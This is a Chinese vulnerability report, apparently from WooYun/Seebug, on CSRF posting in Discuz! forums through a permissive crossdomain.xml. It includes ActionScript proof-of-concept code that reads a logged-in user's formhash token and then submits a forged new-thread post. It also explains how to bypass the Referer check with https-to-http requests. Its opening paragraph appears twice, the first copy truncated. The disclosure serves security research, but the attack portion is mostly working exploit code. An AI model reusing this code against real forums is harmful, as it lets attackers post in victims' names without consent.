### 简要描述: Discuz!配置不当可导致CSRF发帖 ### 详细说明: 这个漏洞中评论说的 [WooYun: Discuz!全版本鸡肋CSRF漏洞一枚](http://www.wooyun.org/bugs/wooyun-2013-038411) ,由于crossdomain.xml配置不当,可能会导致一些问题。评论时只是有个基本的印象,没有实测,既然xsser说有对这个的防御,那来看看是怎么防的. crossdomain.xml的默认设置: ``` <?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy> ``` 对dz的代码结构不熟,按黑盒来测。 首先是读取那个formhash,看来有了crossdomain.xml的帮助,很容易的读到了当前用户的formhash。 [<img src="https://images.seebug.org/upload/201309/28135012263cb454c32c191321f8186e093348f4.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201309/28135012263cb454c32c191321f8186e093348f4.png) ``` function gethash() { function getformhash(txt) { txt = txt.split('action=logout&formhash=')[1].split('"')[0]; return txt; } var result_lv:LoadVars = new LoadVars(); result_lv.onData = function(txt) { if (txt) { txt = getformhash(txt); } else { txt = "Error connecting to server."; } trace(txt); }; var send_lv:LoadVars = new...
### 简要描述: Discuz!配置不当可导致CSRF发帖 ### 详细说明: 这个漏洞中评论说的 [WooYun: Discuz!全版本鸡肋CSRF漏洞一枚](http://www.wooyun.org/bugs/wooyun-2013-038411) ,由于crossdomain.xml配置不当,可能会导致一些问题。评论时只是有个基本的印象,没有实测,既然xsser说有对这个的防御,那来看看是怎么防的. crossdomain.xml的默认设置: ``` <?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy> ``` 对dz的代码结构不熟,按黑盒来测。 首先是读取那个formhash,看来有了crossdomain.xml的帮助,很容易的读到了当前用户的formhash。 [<img src="https://images.seebug.org/upload/201309/28135012263cb454c32c191321f8186e093348f4.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201309/28135012263cb454c32c191321f8186e093348f4.png) ``` function gethash() { function getformhash(txt) { txt = txt.split('action=logout&formhash=')[1].split('"')[0]; return txt; } var result_lv:LoadVars = new LoadVars(); result_lv.onData = function(txt) { if (txt) { txt = getformhash(txt); } else { txt = "Error connecting to server."; } trace(txt); }; var send_lv:LoadVars = new LoadVars(); method = 'GET'; url = "http://localhost:8080/"; send_lv.sendAndLoad(url,result_lv,method); } gethash() ``` 然后是CSRF发帖,先构造个表单,提交,发现有对refer进行检查。 [<img src="https://images.seebug.org/upload/201309/28135305dc846b21d89f3c29b00fceacc6e96624.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201309/28135305dc846b21d89f3c29b00fceacc6e96624.png) 哦?那截包试试空refer,发现成功了 [<img src="https://images.seebug.org/upload/201309/28135523be4f23fd0b57c5b2bd4ba1b4155f6080.png" alt="Q截图-20130928135512.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201309/28135523be4f23fd0b57c5b2bd4ba1b4155f6080.png) 那就瞎了,https到http的请求是不带refer,可以通过这办法绕过,估计用https架设论坛的没有几个吧,基本全是http的。 ``` function dopost() { var result_lv:LoadVars = new LoadVars(); result_lv.onData = function(txt) { trace(txt); }; var send_lv:LoadVars = new LoadVars(); method = 'post'; url = "http://localhost:8080/forum.php?mod=post&action=newthread&fid=2&extra=&topicsubmit=yes"; send_lv['formhash']='{{ form_hash }}' send_lv['posttime']='1380343694' send_lv['wysiwyg']='1' send_lv['subject']='111' send_lv['message']='123123213213131313' send_lv['price']='' send_lv['allownoticeauthor']='1' send_lv['addfeed']='1' send_lv['save']='' send_lv['connect_publish_t']='0' send_lv.sendAndLoad(url,result_lv,method); } dopost() ``` ### 漏洞证明: 李菊福,不信?您找个https试试。